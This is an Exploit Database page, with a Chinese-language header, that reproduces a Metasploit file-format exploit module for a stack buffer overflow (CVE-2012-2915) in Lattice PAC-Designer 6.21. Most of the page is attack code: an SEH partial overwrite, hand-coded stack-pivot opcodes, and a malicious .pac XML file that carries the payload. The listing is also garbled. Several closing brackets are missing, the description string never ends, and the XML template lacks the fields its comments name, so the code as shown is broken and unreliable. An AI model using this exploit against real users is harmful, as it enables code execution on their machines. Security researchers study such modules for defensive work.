Lattice Semiconductor PAC-Designer 6.21 – Symbol Value Buffer Overflow (Metasploit)

Exploit Database
124 阅读

作者： Metasploit

日期： 2012-06-17
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/19175/

100

101

102

103

104

105

106

107

108

109

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})

super(update_info(info,

'Name' => "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow",

'Description'=> %q{

This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer

6.21.As a .pac file, when supplying a long string of data to the 'value' field

under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption

on the stack, which results in arbitrary code execution under the context of the

user.

'License'=> MSF_LICENSE,

'Author' =>

[

'Unknown',#Discovery

'juan vazquez', #Metasploit

'sinn3r'#Metasploit

'References' =>

[

['CVE', '2012-2915'],

['OSVDB', '82001'],

['EDB', '19006'],

['BID', '53566'],

['URL', 'http://secunia.com/advisories/48741']

'Payload'=>

{

'BadChars' => "\x00\x3c\x3e",

'StackAdjustment' => -3500,

'DefaultOptions'=>

{

'ExitFunction' => "seh"

'Platform' => 'win',

'Targets'=>

[

'PAC-Designer 6.21 on Windows XP SP3',

{

# P/P/R in PACD621.exe

# ASLR: False, Rebase: False, SafeSEH: False, OS: False

'Ret' => 0x00805020

}

'Privileged' => false,

'DisclosureDate' => "May 16 2012",

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [true, 'The filename', 'msf.pac'])

], self.class)

end

def exploit

# The payload is placed in the <title> field

p = payload.encoded

# The trigger is placed in the <value> field, which will jmp to our

# payload in the <title> field.

buf= "\x5f"#POP EDI

buf << "\x5f"#POP EDI

buf << "\x5c"#POP ESP

buf << "\x61"*6#POPAD x 6

buf << "\x51"#PUSH ECX

buf << "\xc3"#RET

buf << rand_text_alpha(96-buf.length, payload_badchars)

buf << "\xeb\x9e#{rand_text_alpha(2, payload_badchars)}"#Jmp back to the beginning of the buffer

buf << [target.ret].pack('V')[0,3] # Partial overwrite

xml = %Q|<?xml version="1.0"?>

<DeviceType>ispPAC-CLK5410D</DeviceType>

<CreatedBy>PAC-Designer 6.21.1336</CreatedBy>

<Author>#{Rex::Text.rand_text_alpha(6)}</Author>

</SummaryInformation>

<NameText>Profile 0 Ref Frequency</NameText>

</Symbol>

</SymbolicSchematicData>

</PacDesignData>|

file_create(xml)

end